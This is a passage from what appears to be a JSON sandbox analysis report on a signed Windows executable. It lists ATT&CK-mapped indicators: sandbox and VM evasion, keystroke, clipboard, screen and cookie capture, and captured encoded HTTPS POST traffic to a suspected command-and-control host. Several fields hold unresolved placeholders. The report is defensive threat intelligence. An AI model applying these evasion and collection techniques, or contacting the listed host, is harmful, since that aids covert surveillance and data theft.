Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"Sample shows a variety of benign indicators","description":"The input file/all extracted files were not detected as malicious and the input file is signed with a validated certificate","origin":"Indicator Combinations","relevance":10,"id":"summary-6","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" searching for class \"ApplicationManager_DesktopShellWindow\"\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"$33","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"General","name":"The input sample is signed with a valid certificate","description":"The entire certificate chain of the input sample was validated successfully.","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-2","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"terrain.dat\" has type \"ASCII text\"- Location: [%LOCALAPPDATA%\\QuartzLine\\terrain.dat]- [targetUID: 00000000-00005912]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$34","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" queries basic process information of the \"C:\\7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" (UID: 5912)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$35","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Able to identify virtual environment by using API string\n Matched sigs: Queries process mitigation policy via NtQueryInformationProcess\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Able to perform sandbox evasion using APIs\n Matched sigs: Contains ability to detect sandbox (imports API)\n Matched sigs: The input sample contains a known anti-VM trick\n Matched sigs: Contains ability to delay the execution of current thread","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$36","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$37","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" trying to access non-existent file \"C:\\7F1DB334FD3302CF98DD4AFDDF6F90E98E2A496FE7E86BF1832B89D02F3D73C3.EXE.LOCAL\"\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\QuartzLine\\TERRAIN.DAT\"\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" trying to access non-existent file \"\\Device\\RasAcd\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\quartzline\\terrain.dat\"\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" writes file \"%localappdata%\\quartzline\\terrain.dat\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\QuartzLine\\terrain.dat\"\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" writes a file \"%LOCALAPPDATA%\\QuartzLine\\terrain.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP web server (GET/POST requests)","description":"Found http requests in header \"POST /quarry/vein\"\n Found http requests in header \"POST /quarry/deposit\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTPS web server (GET/POST requests)","description":"Found requests in header \"POST /quarry/deposit HTTP/1.1content-type: text/plaincontent-length: 296accept: */*host: westbeavers.comTIXiEheAnra65nUpKYwKT8zl6Hh1PQWjKymcoZn46/xY/T4dLfz7wjbbU1k9WEGxCKqqyqw3Sd8MoS7Lt8GBy05FEA63RBy/6GM9xKygtHDsCE+F9oLSS2q24fYDxBqi08dRpVF+tfh1664CJb8FRSr8D/hS2gwiGFtBvq5v9nc+CUWKMsvmQEIbcX8U/0UB6UleDDHHGNKc/Y9ht1FVyg5UBicK08nI32YgduaPNTSpNtoGbZLP9RfTAhpaSr004oAOrL0EMjU0iLI+Fmpbwz8Qc3kekbypqVn5sSlW\"; in File: \"SSL\")\n Found requests in header \"POST /quarry/vein HTTP/1.1content-type: text/plaincontent-length: 348accept: */*host: westbeavers.comTAbnfuffu3xtcg1Qn4MFs01K7J4T/HidMW3aLuPSsj0FpCVYqQUcaUzabNNDt9ZgHVuWm5j2lorIuuSb3N7rHj++FhnkQ62rK9BU0KXZbWrh/jcNG9Ejfc6xejCgBR3iIOzz5KCe4XK0oVK2XvvtxZRoENKeR8xw+GaEtAxwasSMMNVBeSjdCZ3vj8bLb178uOPzmdeS6EpaG1yxJmckm0lym/C6TveUQT27sPdhzDZ/azY9JC4sm9x3S8K3+NgSOH2/Cryue96LFvcK40J/gUXHewQeG5SOxbyLN1Jrja0iY/YgVBHCc8yYFikMNWo5fhRaxN0qPd3TsbGE3WdHFGCsaiY3\"; in File: \"SSL\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-505","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"NtCreateNamedPipeFile\" (Indicator: \"CreateNamedPipe\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Decrypted SSL network traffic","description":"$38","origin":"File/Memory","mitre_attack_id":"T1573","relevance":3,"id":"string-102","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"c:\\users\\runneradmin\\.cargo\\registry\\src\\index.crates.io-1949cf8c6b5b557f\\read-fonts-0.37.0\\src\\tables\\../../generated/generated_hdmx.rs\" [Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"127.0.0.1:34254socket != -1\"\n \"192.168.0.2\"\n \"2.5.29.17\"\n Potential IP \"2.5.29.37\" found in string \"%2.5.29.37\"\n \"2.5.29.31\"\n \"2.5.29.32\"\n \"2.5.29.19\"\n \"2.5.29.15\"\n Potential IP \"2.5.29.35\" found in string \"#2.5.29.35\"\n \"2.5.29.14\"\n \"2.5.4.3\"\n \"2.5.29.1\"\n \"2.5.29.10\"\n \"2.5.29.16\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$39","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$3a","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://invalid\"\n Found HTTPS url \"https://github.com\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS POST request to https://westbeavers.com/quarry/vein\n Found HTTPS POST request to https://westbeavers.com/quarry/deposit","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"westbeavers.com\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"172.67.197.98\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE4432F9520A9D78E9ADD9209FBF21]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00005912.00000000.201121.FE960000.00000004.mdmp, 00000000-00005912.00000001.203043.FE9AF000.00000004.mdmp, 00000000-00005912.00000002.204961.FE9AF000.00000004.mdmp, 00000000-00005912.00000003.212383.FE9AC000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"Found string \"--user-data-dir=C:\\r\\src\\e\\a\\mod.rn\" (Indicator: \"--user-data-dir\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1539","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"DragQueryFileW\" (File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found string \"GetClipboardData\" (File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetDC\" (Indicator: \"GetDC\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetWindowDC\" (Indicator: \"GetWindowDC\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"[winit] `GetDC` returned null!\" (Indicator: \"GetDC\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in file \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\"\n Found registry query API: \"RegOpenKeyExW\" in file \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"NtQueryInformationProcess\" (Indicator: \"NtQueryInformationProcess\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"Found reference to API \"OpenClipboard\" (Indicator: \"OpenClipboard\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetClipboardData\" (Indicator: \"GetClipboardData\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: 7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"NtQueryInformationProcess\" (Indicator: \"QueryInformationProcess\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"RegisterRawInputDevices\" (Indicator: \"RegisterRawInputDevices\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GetRawInputData\" (Indicator: \"GetRawInputData\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains 